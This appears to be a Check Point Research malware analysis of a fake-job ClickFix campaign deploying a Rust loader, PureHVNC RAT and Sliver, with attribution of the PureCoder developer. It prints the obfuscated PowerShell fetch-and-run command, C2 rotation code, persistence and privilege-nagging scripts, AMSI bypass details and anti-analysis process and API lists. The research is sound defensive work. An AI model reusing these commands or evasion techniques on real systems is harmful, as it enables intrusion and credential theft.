Under the Pure Curtain: From RAT to Builder to Coder

Research by: Antonis Terefos (@Tera0017) Key Points Check Point Research conducted a forensic analysis of a ClickFix campaign that lured victims with fake job offers that resulted in an eight-day intrusion. The threat actor deployed multiple tools, including a Rust Loader , PureHVNC RAT , and the Sliver command-and-control framework. In this publication, we analyzed the associated files, providing one of the most comprehensive analyses of PureHVNC RAT , including its complete set of commands and plugins. During communication with the command and control server, the bot received three GitHub URLs containing supporting files for specific PureHVNC functionalities. Analysis confirmed that both the URLs and the associated GitHub accounts were directly linked to the developer of the Pure malware family. Where previously little to no information was known about PureCoder , this publication sheds light on the developer s timezone of operation (UTC+0300) and potential countries of residence. This lead may enable further intelligence gathering by relevant agencies. Further investigation led to the discovery of a PureRAT builder , revealing insights into the RAT s capabilities and highlighting features linked to PureCrypter , another tool developed by PureCoder , the author behind the Pure malware suite.

Introduction The Pure malware family is a suite of malicious tools developed and sold by the author known as PureCoder . This suite includes PureHVNC RAT (a remote administration tool and predecessor to PureRAT), PureCrypter (a malware obfuscator), PureLogs (a stealer/logger), and several other tools. The malicious software is advertised and distributed through underground forums, Telegram channels, and dedicated websites. These products are often combined to maximize their effectiveness across a wide range of malicious operations. While PureCoder is responsible for building and maintaining the malware ecosystem, cybercriminal customers primarily use these tools to conduct campaigns. In 2025, there has been a noticeable increase in the use of Pure malware products, with threat actors distributing them through various methods, including malspam, phishing websites, and the ClickFix technique. During a Check Point Incident Response (IR) engagement, our team investigated and contained an eight-day intrusion. The threat actor distributed a Rust loader, which deployed PureHVNC RAT with campaign IDs 2a and amazon3 . The attacker lured the victim through fake job advertisements, allowing the attacker to execute malicious PowerShell code through the ClickFix phishing technique. The RAT s Command and Control Server (C&C) has been observed to deliver three GitHub URLs to infected victims and download the related files. These downloaded files support various commands used by PureHVNC RAT and were determined to be part of the Pure development and operation infrastructure rather than the threat actor itself. As a result, the GitHub accounts involved were attributed to the developer of Pure malware families, PureCoder . While limited information is currently available about the author of these products, analysis of the associated GitHub accounts revealed a timezone of operation set to UTC+0300 , which corresponds to several countries, including Russia. ClickFix Campaign & Forensics Artifacts ClickFix is a social engineering phishing technique in which victims are presented with deceptive instructions designed to trick them into running a malicious command. In this campaign, the victim was lured to the ClickFix phishing page through fake job offers. Upon visiting the page, a PowerShell command was automatically copied to their clipboard, delivering a malicious JavaScript file. During the eight-day intrusion, the attacker used malicious JavaScript files , deployed two instances of PureHVNC RAT , established persistence on the victim s system, and finally executed the Sliver Command and Control (

C2) framework. Figure 1 Infection Chain. Infection Day 1 ClickFix & PureHVNC During the first moments of the
initial access, we observe the majority of interaction from the
threat actor dropping JavaScript files and the first version of PureHVNC RAT. The
victim was lured through fake job offers, and upon visiting the malicious ClickFix website, a
PowerShell
command was automatically copied to their clipboard. Figure 2 ClickFix prompt. The page instructed the user to paste and execute the command. If executed, the command downloaded and ran a malicious JavaScript file , initiating the infection chain. Copied
PowerShell
command:

```
powershell
-c "$j=$env:
TEMP+'\a.js';
sc
$j 'a=new ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.
ellrafdlucolc
//:
sptth
\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';
wscript
$j" Pr ss Ent r
```

The
command and control server responded with malicious JavaScript code, which created a malicious LNK file in the Startup Folder and granted itself persistence to the machine. The malicious JavaScript file is obfuscated, and each day, it contacts a different
command and control server and waits for further instructions.

```
function
getURL() { var
C2_domain_list = ['stathub[.]quest', 'stategiq[.]quest',
'mktblend[.]monster', 'dsgnfwd[.]xyz', 'dndhub[.]xyz']; var
current_datetime = new Date().getTime(); var no_days = getDaysDiff(0,
current_datetime); return 'https:
//' + getListElement(
C2_domain_list, no_days) + '/Y/?t=' + current_datetime + '&v=5&p=' +
encodeURIComponent(user_name + '_' + pc_name + '_' +
first_infection_datetime); }
```

The JavaScript delivers the first version of

PureHVNC RAT with
command and control 54
[.]197.141.245 and
campaign ID 2a . Infection Day 2 Rust Loader & PureHVNC During the second
day of the infection, the
threat actor deployed a newer version of PureHVNC RAT packed with a Rust
Loader and Inno Setup, an open-source installation builder for Windows
applications. This Rust Loader that deploys PureHVNC RAT is dropped in %
APPDATA
%\Microsoft\SystemCertificates\9TwinAPIInterop.pfx and contains no
differences with the first version, the only
change
appears to be the
campaign ID amazon3 . PureHVNC RAT Configuration:

{ "C&C":
"54.197.141.245", "ports": [443, 10443], "certificate": "MIIE4jCCAsqgAwIBAg
IQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXD
TI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC
92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtwpFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzG
OTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EAYQSd75gxhZ7sddCZFuBy6Bdt21URknipN
9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJHLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqG
RZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vRFLk08xZ0+lRkQV4BrEWbA60omIp3XDdnM
OPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKSymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioM
KO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXXLfUi3+p/326JXghRpqZUQ99VaH/ucT4rP
9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DVprdpTLvN9n+esMPYHRECUlaZLdn9x9AmZ
ARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK+NSFNr1kxCYI5UqZK50CdINoKM8+frA7g
Al3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLpnkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTl
Nea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAH3nF
nvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtS
C0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtAEtitAGehMyE6K3X0LgvNaxWwbdL9rcko6
2msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5ySanLkiy+CfYJnyqBoICYW4r1W/o65ibgxz
PoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc
5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMD
FSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZWprE5WjCk4fltMQU0DGbPmP1il3XLtqVvP
iLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eEDW4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8
G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp
+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNywDn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP
1oJ2", "
campaign_id": "amazon3", "install_path": "

APPDATA
", "mutex": "aa05be285061" } Infection Day 8 Sliver Implant After mostly staying inactive for more than six days, possibly to verify that the infected machine is a real target rather than a sandbox environment, the threat actor delivered a Sliver implant with C&C
hxxps:
//jq-scripts.global.
ssl[.]fastly[.]net . Sliver then delivered and executed a
PowerShell
Script that requested the user s password in a prompt and stored the credentials
at
%
ProgramData
%/ _ _cred.txt . Figure 3
PowerShell
User-Credential Theft Script. Rust Loader Technical Analysis The malicious loader is a DLL file developed in Rust programming language and is executed using LOLBin
regsvr32
. The malicious functionality lies in the function exports DllRegisterServer and DllUnregisterServer , which contains the same piece of code. String Decryption The malware contains encrypted strings that are decrypted on demand using the ChaCha20-Poly1305 algorithm. The decryption key is generated by the
XOR
of two hardcoded values embedded in the binary: Value 1:
4a01d45563d802fee5593a21f1b216aeed83c4dff50fa6a31391ff73feb29dbd Value 2:
bf83184822bf184536b50dff4758edd638b59cb82a06ee019b62b0bce33d07b5
Chacha20-Poly1305 Key:
f582cc1d41671abbd3ec37deb6eafb78d5365867df0948a288f34fcf1d8f9a08
Anti-analysis Techniques The first anti-analysis techniques
monitor the running processes and try to identify various processes related to antivirus and security software, debuggers, reverse engineering tools and
monitoring tools. The malware detected antivirus processes from Bitdefender, ESET, Kaspersky, Ad-Aware, and 360 Total Security. Blacklisted processes: "bdservicehost
.exe", "bdredline

```
.exe", "aylaunch
.exe", "egui
.exe", "360Safe
.exe", "zhudongfangyu
.exe", "HipsDaemon
.exe", "ekrn
.exe", "eguiProxy
.exe", "avp32
.exe", "avpcc
.exe", "avpm
.exe", "avpdos32
.exe", "avp
.exe", "adawareservice
.exe", "ksdumper
.exe", "decoder
.exe", "dnspy
.exe", "dbgx.shell
.exe", "ilspy
.exe", "ollydbg
.exe", "x32dbg
.exe", "x64dbg
.exe", "gdb
.exe", "idaq
.exe", "idag
.exe", "idaw
.exe", "ida64
.exe", "idag64
.exe", "idaw64
.exe", "idaq64
.exe", "
windbg.exe
", "immunitydebugger
.exe", "windasm
.exe", "scylla
.exe", "scyllahide
.exe", "cheatengine
.exe", "pe-bear
.exe", "ollyice
.exe", "radare2
```

.exe", "ghidra
.exe", "sysanalyzer
.exe", "xperf
.exe", "
procdump.exe
", "dbgview
.exe", "api
monitor
.exe", "pe-sieve64
.exe", "pe-sieve32
.exe", "pe-moneta
.exe" The second anti-analysis technique includes a list of API functions specifically present in Microsoft s Windows Defender Malware Analysis Emulator. This technique addresses the differences between the Windows libraries and the virtual ones, which contain more API calls specifically related to the emulated environment. Blacklisted APIs: "MpVmp32Entry", "NtControlChannel", "ObjMgr_ValidateVFSHandle", "ThrdMgr_GetCurrentThreadHandle", "ThrdMgr_SaveTEB", "ThrdMgr_SwitchThreads", "VFS_CopyFile", "VFS_DeleteFile", "VFS_DeleteFileByHandle", "VFS_FileExists", "VFS_FindClose", "VFS_FindFirstFile", "VFS_FindNextFile", "VFS_FlushViewOfFile", "VFS_GetAttrib", "VFS_GetHandle", "VFS_GetLength", "VFS_MapViewOfFile", "VFS_MoveFile", "VFS_Open", "VFS_Read", "VFS_SetAttrib", "VFS_SetCurrentDir", "VFS_SetLength", "VFS_UnmapViewOfFile", "VFS_Write", "MpAddToScanQueue", "MpCreateMemoryAliasing", "MpCallPostEntryPointCode", "MpCallPreEntryPointCode", "MpDispatchException", "MpExitThread", "MpFinalize", "MpGetCurrentThreadHandle", "MpGetCurrentThreadId", "MpGetLastSwitchResult", "MpGetPseudoThreadHandle", "MpGetSelectorBase", "MpGetVStoreFileHandle", "MpHandlerCodePost", "MpIntHandler", "MpIntHandlerParam", "MpIntHandlerReturnAddress", "MpNtdllDatatSection", "MpReportEvent", "MpReportEventEx", "MpReportEventW", "MpSehHandler", "MpSetSelectorBase", "MpStartProcess", "MpSwitchToNextThread", "MpSwitchToNextThread_WithCheck", "MpSwitchToNextThread_NewObjManager", "MpTimerEvent", "MpTimerEventData", "MpUfsMetadataOp", "MpValidateVFSHandle", "MpVmp32FastEnter" If any of those anti-analysis techniques detects that the malware is being analyzed and monitored under an emulated or sandbox environment, it will sleep for a random time between 10 to 30 minutes, by executing the command

cmd

/c timeout /t {random_time} >null , once awake, if still running in the monitored environment, it reruns the anti-analysis process, and if it is again detected, it falls into a random sleep again. The Rust Loader requires that it be executed with a specific command line parameter that, if it is not present, terminates its execution. The malware retrieves the parameters passed to the process and tries to find the parameter /i:
--type=renderer . As a final anti-analysis and evasion
technique, immediately following the successful decryption of its payload, the malware actively implements an AMSI bypass by injecting a hook into the native LdrLoadDll function within ntdll.dll . This hook intercepts attempts to load the amsi.dll library responsible for the Windows Anti-malware Scan Interface and effectively prevents it from being loaded into the process. By doing so, the malware disables AMSI s runtime scanning capabilities, thereby evading
detection and analysis by security products that rely on AMSI for real-time malware inspection. Figure 4 LdrLoadDll Hooked function.
Persistence The malware checks if the process is not running with administrative privileges, then executes the

PowerShell

command below to grant the malware higher privileges. "

powershell

" -Command " while ($true) { try { Start-Process -FilePath '

cmd.exe

' ` -Verb runas ` -ArgumentList '/c start "" /B "

regsvr32.exe

" {MALWARE} /i:
--type=renderer'; exit } catch {} } " This

PowerShell

will try to execute the malicious DLL with administrative privileges in an infinite loop until the User accepts the UAC (User Account

Control

) prompt. Once the prompt is accepted, the process terminates itself, and the infection continues with the one that obtained higher privileges. The loader, to avoid being executed twice, creates a Mutex MistyRoseNavy and then executes a

PowerShell

command, which will maintain
persistence to the system via scheduled tasks. The first

```
PowerShell
command will try to see if any Scheduled Task is already registered in the
system. "
powershell
" -Command " if ( Get-ScheduledTask
| Where-Object { $_.Actions
.Execute -eq '
regsvr32
' -and $_.Actions.Arguments -eq '/s /i:
--type=renderer \"%
APPDATA
%\Microsoft\SystemCertificates\{MALWARE}\"' } ) { exit 0 } else { exit 1 } "
If not, it will proceed to create
persistence on the infected machine. The Task name and path were made to
mimic a Google Updater: Register-ScheduledTask ` -Action (
New-ScheduledTaskAction ` -Execute "
regsvr32
" ` -Argument "/s /i:
--type=renderer "%
APPDATA
%\Microsoft\SystemCertificates\{MALWARE}"" ) ` -Trigger (
New-ScheduledTaskTrigger ` -Once -
At
(Get-Date).AddMinutes(1) ` -RepetitionInterval (New-TimeSpan -Minutes 1) )
` -TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-9A2C-41
C2-B9E7-3C3C6F193A83}' ` -TaskPath '\GoogleSystem\GoogleUpdater' `
-Description 'GoogleUpdater Task System 196.6.2928.90' ` -Settings (
New-ScheduledTaskSettingsSet ` -AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries ` -ExecutionTimeLimit 0 ` -DontStopOnIdleEnd )
` -RunLevel Highest The execution of the above script will be performed by
running it as a
PowerShell
over stdin , executing first the below command and writing into a
Pipe WriteFileEx the
persistence
PowerShell
script.
PowerShell.exe
-NoProfile -NonInteractive -Command -
```

Payload Decryption & Execution The payload is embedded inside the Rust binary and is decrypted using a simple XOR with a 32-byte key. Figure 5 Payload decryption routine. Later, the malware will validate the decrypted value, which will determine the next step. The validation occurs by XORing the decrypted bytes and generating a hash value. Figure 6 Hash generation. This hash value is further processed and compared with the value 0x6. During this function, we also observe the hexadecimal value 0xDEADBEEF even though it does not affect the output, which appears to be used solely as a marker. Figure 7 Hash validation. The next step, the malware checks if the decrypted payload is bigger than 1 KB (1024 Bytes), and only if so, proceeds further with the infection, otherwise, it terminates itself. At this stage, the malware has already hooked LdrLoadDll successfully bypasses AMSI loading. Figure 8 Size check. As the last step, the Rust Loader creates a heap, copies the decrypted payload buffer into it, and executes the shellcode. Figure 9 Shellcode NOP and CALL instruction. The buffer contains a .NET payload, which is executed via the shellcode. Once the .NET crypter decrypts the final payload using AES and decompresses it using Gzip , it is identified as PureHVNC . Figure 10 Deobfuscated .NET Assembly Explorer . PureHVNC RAT Technical Analysis PureHVNC is a product of the Pure family of malicious software developed by PureCoder . The malware provides HVNC capabilities (Hidden Virtual Network Computing), which allows an attacker to control an infected machine without the session being visible to the infected user. The analyzed malware contains obfuscated strings and function calls that are dynamically decrypted. By using NETReactorSlayer , we can obtain a cleaner version of this malware. Configuration The malware configuration is protobuf s erialized , Gzip compressed, and Base64 encoded. The reverse process retrieves the malware configuration, which contains execution configurations such as the command and control server, port number and mutex name. Figure 11 Malware Configuration. The deserialization of the decompressed buffer can be done using the protod tool, which gives the following output.

```
C:\
> protod
--hex b202c30d0a0e35342e3139372e3134312e32343510bb0310cb511a880d4d494945346
a4343417371674177494241674951415041504b4f6c6c78707a574566374369673269775155544
4e42676b71686b69473977304241513046414441534d5241774467594456515144444164586
4325a7761485a694d43415844544449304d446b784e5445794e4455774e316f59447a6b354f54
6b784d6a4d784d6a4d314f545535576a41534d524177446759445651514444416458643235a7
761485a694d494943496a414e42676b71686b694739773042415145464141514f43416738414d
49494343674b4341674541133516d2b4f345a58386537716e7a62374163532b4d4b754d6d4e6
16e30364867463174563337a43393274694c2f51796c43793354665a3147516d75742b634f66
755a627939755941794d4637347578747770467072367072a4c347073334878707578427276 4
1635273554b56536870517a474f544d776c4a574a6a376e445831546e2f5049723967353543
376a54462f6b39336772644744e33384541595153643735677868 5a3773646443 5a467542793
642647432315552 6b6e69704e394e33792f646c444f2b71425a6d625668474745715a314872
56443252706d4b4b454f364f5a7534584a484c726e3145736a6778794d30696662375033386
2522f6344423250787a4f7147525a2f536e68673542772f754738322b7477596b7036437856
524835397961 6d6c48703971524634765246 4c6b3038785a302b6c526b51563442724557624
136306f6d4970335844646e4d4f50465a6e7148554d5442545a3837314c4537383256463334
784d35516449413272365 16a714e794b53796d622f6c4d634c4a45686c4a2b4445663035593
2306c45396e4a546e2f696f4d4b4f2f696c737a4a4f6875384e533433672b746f725043454f
76446c6442667874676370347 72b5358584c665569332b702f3332364a5867685270715a555
13939566148 2f756354347250394363536a49716c43796d507541684f5a6d5244794d416357
757a737a2f315354675a3866785030445670 7264 70544c764e396e2b65734d5059485245435
56c615a4c646e397839416d5a4152624d61744f64417a48384c675154473032656356532f70
4575675556673749707 86e367057716a4b2b4e53464e72316b784359493555715a4b3530436
4494e6f4b4d382b6672413767416c336f686e593462524b366246696f61434363435a4a4637
46614a4a682b4544732f4351364b634c706e6b434177454141614d794d44417748515944565
2304f424259454642396a546c4e6561355a734a6437436c44682f6365706b46585a5a4d4138
47413155644577454 22f7751464d414d4241663877 4451594a4b6f5a496876634e4151454e4
251414467674942414833 6e466e76755045 75664d334277504e6668677335526b5050586b32
70473963547a6e784552336833376b52336a6775456e7132774c3779594132443330584138 7
44a76372b43505a2f4972745343304f5379456d77386135466f48746e6f323265354 4747138
31465934633 86b4654533070333 96d744145746974441476568 4d7945364b3358304c67764e6
17857776264 4c3972636b6f36326d7378714b527733667861466a544e4b2b746c3548365438
6a584835564d714564306569694b35795361 6e4c6b69792b4366594a6e7971426f494359573
47231572f6f3635696267787a506f4f7a63626f64345547394f36597744714d444e384a6c51
4451546c37675a4c6974435263614 25a51796e494e4632795a775a5969726457714b3058336
668514c6c756f5a397a58686335726233554d352b51765039702f5a61554f495a306d313876
```

```
6a56636e7a365a6f394e36304b393375355a2f497a42636438674d3157703364744447275656
b626a64587338622b74784d4446537935365a5042464c4a68574f347870477743137325a4d70
36447539734d4157446144546650765a5770724535576a436b34666c744d515530444762506
d5031696c33584c7471567650694c767541636372624c39776b766c76444b676a715570596a
587364464f5435756e58695963316545445734484957344849574e4a634977324a346f7a384932416c7
7512b657856544541725163384733664e624d73765a4437437453564a4b715a4c536b41666f
6b69335a72732f6649465447474e7a512f56626230314b376b3773326d4151344d72314a6a4
e682f5a776c546475624b5a702b6a6241527268447676645049537570536f304b444b426a77
6b5932746347772f615473594b644e7977446e38567149764c6a4868444b4734764d6d37465
96f4c4d64455749584e797650316f4a322207616d617a6f6e333a004207415050444154414a
0c616130356265323835303631 [b2 02] 38 string: (1731) [0a] 1 string: (14)
54.197.141
[.]245 [10] 2 varint: 443 (0x1bb) [10] 2 varint: 10443 (0x28cb) [1a] 3
string: (1672) MIIE4jCCAsqgAwIBAgIQAPKOllxpzWEf7Cig2iwQUTANBgkqhkiG9w0BAQ0F
ADASMRAwDgYDVQQDDAdXd2ZwaHZiMCAXDTI0MDkxNTEyNDUwN1oYDzk5OTkxMjMxMjM1OTU5WjA
SMRAwDgYDVQQDDAdXd2ZwaHZiMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3Qm+O4
ZX8e7qnzb7AcS+MKuMmNan06HgF1tV3zC92tiL/QylCy3TfZ1GQmut+cOfuZby9uYAyMF74uxtw
pFpr6pzL4ps3HxpuxBrvAcRsUKVShpQzGOTMwlJWJj7nDX1Tn/PIr9g55C7jTF/k93grdGN38EA
YQSd75gxhZ7sddCZFuBy6Bdt21URknipN9N3y/dlDO+qBZmbVhGGEqZ1HrVD2RpmKKEO6OZu4XJ
HLrn1EsjgxyM0ifb7P38bR/cDB2PxzOqGRZ/Snhg5Bw/uG82+twYkp6CxVRH59yamlHp9qRF4vR
FLk08xZ0+lRkQV4BrEWbA60omIp3XDdnMOPFZnqHUMTBTZ871LE782VF34xM5QdIA2r6QjqNyKS
ymb/lMcLJEhlJ+DEf05Y20lE9nJTn/ioMKO/ilszJOhu8NS43g+torPCEOvDldBfxtgcp4w+SXX
LfUi3+p/326JXghRpqZUQ99VaH/ucT4rP9CcSjIqlCymPuAhOZmRDyMAcWuzsz/1STgZ8fxP0DV
prdpTLvN9n+esMPYHRECUlaZLdn9x9AmZARbMatOdAzH8LgQTG02ecVS/pEugUVg7Ipxn6pWqjK
+NSFNr1kxCYI5UqZK50CdINoKM8+frA7gAl3ohnY4bRK6bFioaCCcCZJF7FaJJh+EDs/CQ6KcLp
nkCAwEAAaMyMDAwHQYDVR0OBBYEFB9jTlNea5ZsJd7ClDh/cepkFXZZMA8GA1UdEwEB/wQFMAMB
Af8wDQYJKoZIhvcNAQENBQADggIBAH3nFnvuPEufM3BwPNfhgs5RkPPXk2pG9cTznxER3h37kR3
jguEnq2wL7yYA2D30XA8tJv7+CPZ/IrtSC0OSyEmw8a5FoHtno22e5Dtq81FY4c8kFTS0p39mtA
EtitAGehMyE6K3X0LgvNaxWwbdL9rcko62msxqKRw3fxaFjTNK+tl5H6T8jXH5VMqEd0eiiK5yS
anLkiy+CfYJnyqBoICYW4r1W/o65ibgxzPoOzcbod4UG9O6YwDqMDN8JlQDQTl7gZLitCRcaBZQ
ynINF2yZwZYirdWqK0X3fhQLluoZ9zXhc5rb3UM5+QvP9p/ZaUOIZ0m18vjVcnz6Zo9N60K93u5
Z/IzBcd8gM1Wp3dtDruekbjdXs8b+txMDFSy56ZPBFLJhWO4xpGt172ZMp6Du9sMAWDaDTfPvZW
prE5WjCk4fltMQU0DGbPmP1il3XLtqVvPiLvuAccrbL9wkvlvDKgjqUpYjXsdFOT5unXiYc1eED
W4HIWNJcIw2J4oz8I2AlwQ+exVTEArQc8G3fNbMsvZD7CtSVJKqZLSkAfoki3Zrs/fIFTGGNzQ/
Vbb01K7k7s2mAQ4Mr1JjNh/ZwlTdubKZp+jbARrhDvvdPISupSo0KDKBjwkY2tcGw/aTsYKdNyw
Dn8VqIvLjHhDKG4vMm7FYoLMdEWIXNyvP1oJ2 [22] 4 string: (7) amazon3 (61 6d 61
7a 6f 6e 33) [3a] 7 string: (0) [42] 8 string: (7)
```

APPDATA

(41 50 50 44 41 54 41) [4a] 9 string: (12) aa05be285061 The above configuration stores values in a specific class whose properties are decorated with [ProtoMember(n)] attributes, indicating that it uses Protocol Buffers (protobuf-net) for serialization. ProtoMember Description 1 Malware

Command and Control Server. 2 C&C port. 3 TLS certificate, used for C&C communication. 4

Campaign ID. 5 Maintain

Persistence flag. 6 Flag value, which executes SetThreadExecutionState Windows API that prevents the system from sleeping or turning off the display. 7 Task name, used for maintaining

persistence via Scheduled Task. If the field is not defined the executable name is used. 8 Environment variable which will be used to retrieve the installation folder. This file path will be used for persistence. 9 Mutex name, assuring the malware process is unique. 10 Unknown, unused field.

Persistence PureHVNC , similar to the Rust Loader described above, maintains its

persistence in the system s Scheduled Task by executing a PowerShell command. When running with admin rights, the malware will execute the following script: Register-ScheduledTask ` -TaskName ' ' ` -Action (New-ScheduledTaskAction -Execute ' ') ` -Trigger ( New-ScheduledTaskTrigger -Once - At (Get-Date) ` -RepetitionInterval (New-TimeSpan -Minutes 5)) ` -User $env:UserName ` -**RunLevel Highest** ` -Settings ( New-ScheduledTaskSettingsSet ` -ExecutionTimeLimit (New-TimeSpan -Seconds 0) ` -AllowStartIfOnBatteries ` -DontStopIfGoingOnBatteries) ` -Force When the process runs as a normal user, the command will run without the -RunLevel Highest option. Depending on the process rights, the appropriate command will be Base64 encoded and then executed using the -Enc PowerShell parameter. Figure 12 Encodes command with Base64 and executes PowerShell

.

Network Communication The malware initially tries to check if the endpoint is currently alive, first trying to Connect via socket and then sends four bytes to the C&C 04 00 00 00 . Figure 13 Initial communication. The malware creates an SSLStream and performs an SSL handshake, verifying the server s certificate against a certificate embedded in its configuration. During this stage, PureHVNC collects Bot information that will be sent to the attacker s server. This information will be serialized and then compressed using Gzip . If the compressed data exceeds approximately 1 MB (1,000,000 bytes), it will be sent in 16 KB chunks. Figure 14 Compressed data into chunks. Once data is sent, PureHVNC receives the compressed buffer size from the C&C via an SSL stream and reads the entire buffer into an array. After decompressing and deserializing the data, the malware executes the received command in a separate thread. Figure 15 Command execution in a separate Thread.

Collected Data PureHVNC collects and sends data from the infected system to the C&C server. This includes installed antivirus products, bot identifier, user domain and privileges, OS version, executable filename, idle time, and installed applications of interest. The information also contains metadata such as the malware version (4.1.9) and campaign ID (amazon3) obtained from the malware configuration. Figure 16 Data sent to C&C. To retrieve the Antivirus products queries Windows Management Instrumentation (WMI) for installed antivirus products on the system, "

SELECT * FROM

AntiVirusProduct . In addition to collecting information about installed antivirus products, the malware also checks for the presence of specific applications of interest on the host system. It scans predefined directories, files, and registry keys associated with known crypto wallet software, browser extensions, and messaging or email clients to find them (see Appendix). Among the data sent to the C&C, there are three pieces of information that can also serve as anti-sandbox indicators, helping the attacker determine whether the bot resides on a real user system or within a sandboxed or virtualized analysis environment. The first technique returns a Boolean value indicating whether the infected machine has any devices recognized as cameras or imaging devices. This is determined by executing the WMI

query

,

SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera') . Sandboxes and virtual machines often lack physical devices like webcams or imaging devices, and the absence of such devices can indicate a non-physical environment. The second collected data retrieves the tick count of the last input event (keyboard/mouse) and the last user activity on the machine. The third one is the executable name and path, that during this campaign the malware was installed in a fixed folder. This three information combined could be used by the attacker to determine whether the infected machine is a real user or not. Plugins & Commands PureHVNC stores plugins inside the registry key. The registry key uses the BotID, while the name and value are received by the C&C. The data of the plugin is compressed and reversed, and each time the plugin is loaded, it reverses the bytes and decompresses the buffer. The registry path is located at HKEY_CURRENT_USER\Software\{BOT_ID} and the Bot ID is generated with the following Python logic: # PureHVNC BotID generation logic import hashlib class PureBotID: def __init__(self, user_name: str, domain_name: str, processor_id: str, drive_sn: str, memory_sn: str): # Environment.UserName self.user_name = user_name # Environment.UserDomainName self.domain_name = domain_name # "Win32_Processor", "ProcessorId" self.processor_id = processor_id # "Win32_DiskDrive", "SerialNumber" self.drive_sn = drive_sn # "Win32_PhysicalMemory", "SerialNumber" self.memory_sn = memory_sn # generating Bot ID PureHVNC logic self.bot_id = self.generate_bot_id() def generate_bot_id(self) -> str: user_domain = f"{self.user_name}[{self.domain_name}]" if self.domain_name else self.user_name result = f"{self.processor_id}{self.drive_sn}{self.memory_sn}{self.domain_name}{user_domain}" return hashlib.md5(result.encode()).hexdigest().upper() Once the plugin is delivered to the infected victim, the threat actor can execute various commands. The majority of the commands have a one-on-one relation with the plugin, meaning that the plugin serves only one functionality, though some plugins serve multiple commands.

Observed Plugins & supported Commands: ID Plugin Supported Commands Description 0 None None No operation. 1 RemoteHiddenVNC HvncRunpe Hidden Virtual

Network Computing (HVNC) feature under a separate process. 2 RemoteHiddenVNCAudio EnableAudio HVNC with audio enabled. 3 RemoteAudio RemoteMic Captures live audio from the infected system s microphone. 4 TaskManager ProcessManager Displays, kills, restarts processes. 5 FileManager FileManager Displays, kills, and restarts processes. 6 Executing DownloadAndExecuteDisk DownloadAndExecuteMemory DownloadAndUpdate Executes computer-related commands such as Restarting, Shutting down PC and offers multiple Bot-C&C connection related features. 7 RemoteCamera RemoteWebcam Activates the victim s webcam and streams or captures images/video. 8 RemoteShell RemoteShell Remote Shell plugin and command. 9 RemoteDesktop RemoteDesktop Remote Desktop plugin and command. 11 PcOption DeletePlugins CloseConnection RestartConnection UninstallConnection ShutdownPC RestartPC BlockConnection Executes computer-related commands such as restarting, shutting down the PC and offers multiple Bot-C&C connection-related features. 12 Chat Chat Command allowing real-time text communication between the operator and the remote client. 13 Keylogger RemoteKeylogger Keylogging capabilities. 14 VisitWebsite VisitWebsite Visits specified website for a specified duration. 15 RevProxy RevProxyHttp RevProxySocks5 Reverse proxy supporting HTTP and SOCKS5. 16 TV TV Unknown, currently not used plugin-command. 17 ExecutePowershell DefednerExclusion PowershellOneLiner DeleteRestorePoints Executes PowerShell specified one-liner command. As well executes PowerShell to bypass Windows Defender. 18 RemoteHiddenVNC_Reflection RemoteHvncReflection Terminates Bot, with the option to delete. 19 TwitchBot TwitchBot Twitch Bot command is capable of sending a message to the Chat, following, unfollowing an account, clicking on ads. 20 YoutubeBot YoutubeBot YouTube Bot performs subscribe, unsubscribe to a specified account, send message, Like actions and click ads. 21 BotKiller BotKiller BotKillerWtihDelete Retrieves machine specs. 22 WindowNotify WindowNotify Alerts threat actor once a window caption matching specified keywords is opened. 23 RegistryManager RegistryManager

